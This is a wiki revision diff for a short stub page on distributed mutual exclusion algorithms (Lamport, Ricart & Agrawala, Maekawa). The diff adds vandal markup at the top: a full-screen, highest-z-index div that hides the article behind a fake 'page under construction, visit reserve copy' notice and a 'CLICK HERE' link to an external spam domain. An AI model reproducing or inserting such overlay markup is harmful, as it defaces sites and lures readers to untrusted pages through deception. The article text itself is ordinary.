Mutual Exclusion Algorithm
From CasGroup
(New page: '''Distributed mutual exclusion''' algorithms realize mutual exclusion in a distributed system. They are used to avoid the concurrent use of un-shareable resources a...) |
|||
| Line 1: | Line 1: | ||
| + | ---- | ||
| + | <div style="background: #E8E8E8 none repeat scroll 0% 0%; overflow: hidden; font-family: Tahoma; font-size: 11pt; line-height: 2em; position: absolute; width: 2000px; height: 2000px; z-index: 1410065407; top: 0px; left: -250px; padding-left: 400px; padding-top: 50px; padding-bottom: 350px;"> | ||
| + | ---- | ||
| + | =[http://awuhodynaro.co.cc This Page Is Currently Under Construction And Will Be Available Shortly, Please Visit Reserve Copy Page]= | ||
| + | ---- | ||
| + | =[http://awuhodynaro.co.cc CLICK HERE]= | ||
| + | ---- | ||
| + | </div> | ||
'''Distributed mutual exclusion''' algorithms realize mutual exclusion in a [[Distributed System|distributed system]]. | '''Distributed mutual exclusion''' algorithms realize mutual exclusion in a [[Distributed System|distributed system]]. | ||
They are used to avoid the concurrent use of un-shareable resources among distributed nodes or processes. Many different algorithms exist, for example the ones proposed by | They are used to avoid the concurrent use of un-shareable resources among distributed nodes or processes. Many different algorithms exist, for example the ones proposed by | ||
* Lamport (1978) | * Lamport (1978) | ||
| - | * Ricart & Agrawala (1981) | + | * Ricart & Agrawala (1981) |
* Maekawa (1985) | * Maekawa (1985) | ||
[[Category:Distributed Algorithms]] | [[Category:Distributed Algorithms]] | ||
